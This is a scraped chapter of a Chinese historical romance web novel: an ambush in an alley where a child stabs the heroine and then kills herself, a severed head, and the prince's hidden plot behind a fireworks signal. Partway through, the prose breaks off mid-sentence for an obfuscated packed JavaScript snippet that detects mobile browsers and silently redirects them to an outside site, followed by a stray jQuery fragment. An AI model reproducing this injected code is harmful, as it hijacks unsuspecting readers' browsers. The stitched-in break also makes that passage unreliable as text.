26. 沈跃
    时间匆匆而过,陆鸿晏的脚步也走到了民巷的尽头。

    那是间破落无比的木屋,梁柱的木头朽烂,遍布着灰尘与蛛网。屋顶的砖瓦缺漏,窗纸没有一处完好,隐约可见吱呀叫唤的老鼠在地上窜来窜去。

    陆鸿晏将沈令仪放回地面,轻轻摸了摸她的发顶:“令仪,就在这里等我回来。”

    沈令仪不解,却还是顺从地点头答应。

    陆鸿晏转身,推开了那扇摇摇欲坠的木门。

    只听“哐当”一声,那朽烂的木头承受不住这份力道,顷刻之间四分五裂,连带着吹起了周遭厚厚的灰尘。

    沈令仪连忙往后退了好几部,捂着口鼻不让灰尘呛进去。

    有邻近的小孩子好奇,提着纸灯笼就匆匆跑过来,睁着水盈盈的眸子天真地问道:“姐姐,你来这里干嘛呀?”

    女孩跑来时,也有灰尘沾到了她的脸上。

    沈令仪缓缓蹲下身来,视线与她齐平。

    “告诉姐姐,这里是哪里呀?”

    沈令仪温柔地擦去女孩脸上的灰印,笑着盯着她手上提着的纸灯笼。

    女孩晃了晃可爱的小脑袋:“这里从前住着一个老爷爷,可是后来不知道为什么就搬走了,已经荒废了许多年。”

    沈令仪忽然想起来,徐大夫离去时所言。

    他就住在这民巷的尽头。

    女孩细心地帮沈令仪擦去脸上的灰印,凑到她耳边神秘兮兮地说道:“娘亲说,老爷爷替别人看病却治死了人,怕被报复才连夜逃走的。”

    她撇撇嘴,满脸不可置信:“可是我才不信呢,老爷爷从前对我们小孩子们可好了,有糖和糕点都会好心地分给我们。”

    太医院的前院长,怎么会粗心到看病治死了人。

    沈令仪认真地问道:“那你还见过那个老爷爷吗?”

    小女孩充耳不闻,左手提着纸灯,右手牵着沈令仪就往远处走。

    她语气十分着急:“姐姐快走吧,报复的人经常蹲守在这周围,这里很危险的。”

    话音刚落,刀剑声便从荒废的木屋中响起。

    沈令仪回头,刀剑声愈演愈烈,里面一片兵荒马乱。

    暗道里涌出一大批训练有素的武士,将尚未离开的沈令仪团团围住。

    他们手执着锐利的刀剑,在天灯的映照下泛出刺眼的银光。

    沈令仪抱起女孩,将她牢牢地护在自己怀中。

    “你们是谁?想要做什么?”

    武士们不答,却拿着武器步步逼近,最终止步于她六尺的距离。

    他们只是威胁她,却好像不打算要她的性命。

    可陆鸿晏呢?

    屋内的打斗声还在继续,沈令仪心知陆鸿晏不善武学,以一人之力根本没有自保的能力,心中担忧不已。

    她身上时常揣着危急时刻保命的微型火药,若非她被武士困在这里,沈令仪定然会进去搏一搏。

    “姐姐,都让你快走了。”女孩嘟着嘴,十分不满。

    沈令仪有些愧疚,是自己连累了这个小女孩。

    她正欲开口安慰,却感觉右腿传来异样的剧痛。

    沈令仪瞪大了双眸,不可置信。

    女孩的身长刚好触及她的大腿,她双手紧紧抓着一把匕首,三分之一已经刺进沈令仪的皮肉里。

    她仍旧睁着水汪汪的眼眸,笑盈盈地开口:“姐姐,是你自己不走的哦。”

    沈令仪一把推开她,女孩被摔得跌倒在地,距离举起的刀剑只有不到三尺远。

    她一丝一毫的惧怕也没有,木屋背后是激烈的打斗声,她稚嫩的童声在其中显得格外违和。

    “娘亲还告诉我说,只要我这样做了,弟弟的生活就会过的更好了。”女孩高高兴兴地分享着,“她和弟弟会有数不清的金银珠宝,她还答应会烧给我的。”

    沈令仪捂着流血不止的伤口,瘫坐在地上喘着气。

    闻言,她心中更是惊骇万分。

    她还未来得及阻止,就看见女孩笑嘻嘻地将脖子撞向武士拔出的利刃上,喷出的鲜血溅出得飞远,甚至几滴都沾到了沈令仪的脸颊上。

    女孩倒在地上,死不瞑目,却笑得很诡异。

    她喜欢的纸灯被暗红的鲜血染花,内里的蜡烛随她的生命一齐熄灭。

    一位武士出列,踢开了女孩挡路的尸-体,刀剑指着沈令仪的面门:“请沈二小姐听话,我们并不会为难于你。”

    沈令仪冷笑,捂着右腿上止不住的鲜血:“这就是所谓的不为难吗?”

    “此人我们并不认识。”

    武士说罢,便再也不欲多加解释。

    木屋内刀剑声停了,可是却没有脚步声传出。

    沈令仪不能再坐以待毙,捏碎了袖中藏着的火药粉,对着眼前的侍卫就抬手撒过去。

    与此同时,她也用力投掷出燃起的火折子。

    爆炸声再次扰乱了沈令仪的听觉,热浪层层扑到她的面颊上。

    就算是去死,至少也有人为她陪葬。

    只是可惜她还有好多事情没有做,她还有好多人都还放不下。

    热浪轰起前的最后一刻,沈令仪看见天灯之中炸开一道焰火,红色的锦鲤弯曲着身躯,就要越过龙门。

    会是陆鸿晏放的吗?他此刻可否安好?

    沈令仪再也撑不住,闭上双眸等待着死亡的来临。

    须臾,预想之中的场面并没有发生,她却倒进熟悉的怀抱里。

    她什么也听不见,似乎爆炸的热浪还未消退,可是随之而来的是一路颠簸。她的眼皮似乎有千斤重,但是身体的感觉却并未消退。

    不知过了多久,她重新拿回眼睛的掌控权。

    耳畔仍是一片寂静,听觉尚未恢复,沈令仪猜自己后背应当是靠在一处硬石上,硌得她又冷又疼。

    她悄悄将眼皮抬起一条缝隙。

    陆鸿晏竖起的发冠已经凌乱,他专注地埋着头,手上忙活着什么。

    她看不清楚,只知道他嘴唇一张一翕地不停地在说着什么。

    紧接着,魏朔也出现在她的视野里。

    他提着一个球形的布袋子,深深地朝陆鸿晏鞠了一躬,打开了捆着布袋口子的麻绳。

    有个血腥的东西倏然滚了出来,停在沈令仪的脚边。

    她努力地睁开眼睛瞧着,终于勉勉强强辨认出来那是一颗头颅。

    上面的五官被血迹糊成一片,但是凭借着那花白的头发,沈令仪还是得知了他的身份。

    他是徐大夫。

    不久前,她还怀着猜忌想知道仁心医馆与他的关系。不久后,他便已经身亡命殒,还是以这般残忍的方式。

    魏朔还在禀报着什么话,陆鸿晏仍旧专注着手上的事情。

    他是怎么脱困的呢?他又是怎么将她带出层层重围的呢?

    那道最后爆发在夜空里的锦鲤烟火,会是他燃放的吗?

    怎么会这么巧呢,还

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13298029|139804||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是说陆鸿晏早有预谋。

    一句“沈跃”后不到几时,夜空里便燃起相关的烟火,若真是他燃放的,他所求又是什么呢?

    沈令仪心绪千回百转,听觉却渐渐复苏。

    她听见了陆鸿晏的声音。

    “将女孩背后之人查出来,特别是查清他们与徐大夫的牵连。”他顿了又顿,“信号发出去后,可有什么异常?”

    “属下看到烟火,便即刻动手宰杀了徐大夫,其余人等也各自按照计划行动。只是源头终究会被查出来,届时殿下该如何去解释?”

    陆鸿晏笑声明朗,字字句句深深隽刻进了沈令仪心里。

    “我的王妃单字一个跃,我为讨她欢心燃放烟火,有何不可?”

    原来她暗暗升起的那些隐蔽的情愫,她的担忧与期盼,不过是陆鸿晏计划中浅浅的一环。

    那一句“沈跃”,本以为是她新的开始,却没想到最后不过是信号烟火燃烧时,用来遮掩的一个借口罢了。

    难怪他说在意,难怪他神情认真。

    沈令仪再也坚持不住,眼角划下一行清泪,混沌中失去了意识。

    陆鸿晏拔下她头顶上的银针,也察觉到了这一行泪痕。

    “睡着了也会感到疼吗?”他叹了一口气,“幸好冬日衣裳厚重,匕首入得又不深,否则该有你受的了。”

    陆鸿晏重新抱起她,将沈令仪好好地护在怀里。

    “本来是想讨你欢心给你燃起的烟火,却阴差阳错地成了发令的信号,我冤不冤啊?”

    他喃喃自语着,转而蓦然自嘲道:“不过你应该更冤吧,自从与我有所牵连后,又是马车爆裂,又是屋前遇刺。”

    “我还真是罪该万死,受苦受累的总是你。”

    魏朔听得不忍,出声道:“殿下,您的伤势要紧,不如先就地治疗吧。”

    陆鸿晏摇摇头,抱着沈令仪兀自向前走着。

    “我带你回宸王府,躺在你喜欢的云丝缎上,这样就不会再痛得流泪了。”

    “殿下!您也考虑下自己吧!”魏朔着急地吼起来,“您在木屋中遭受埋伏,九死一生才逃脱出来,您浑身上下哪里没有伤口?沈二小姐的伤势相较于您不过是九牛一毛,何况您又亲自替她拔刀缝了伤!”

    “我心中有数!”陆鸿晏换上怒容,却因为内伤止不住地咳嗽了几声,“你先去查匕首的来历,以及那群围着沈令仪却不动手的武士出自何处。”

    他强撑着自己的身体,坚持先将沈令仪安置好。

    本来按计划而言,他处理好徐大夫后,便可以出来陪沈令仪了。

    只是徐大夫的新主实在狡诈,木屋里布满了机关暗术,让本就不善武艺的他应接不暇,被困于屋中。

    也因为这些机关,陆鸿晏才察觉到,自己在那一刻最担心的并非自身,而是屋外的沈令仪。

    机关戳破了他身上的火铳,精心准备的烟花飞冲到夜空燃起,阴差阳错地提醒了魏朔动手。

    现在还要不得不用她的名义来洗脱信号的嫌疑,陆鸿晏无奈至极。

    他将她重新放好在宸王府客院的床榻上,掖好了云丝缎做的锦被,又亲自燃起屋内摆放着的火盆。

    好好睡一觉吧,明日便能平静无事了。

    关好门时,陆鸿晏身体上的疼痛已经撕裂般牵扯着他的心脏。

    可他还是固执地扬起一抹笑容,遥遥地对着床榻上昏睡的女子。

    “晚安,我的阿跃。”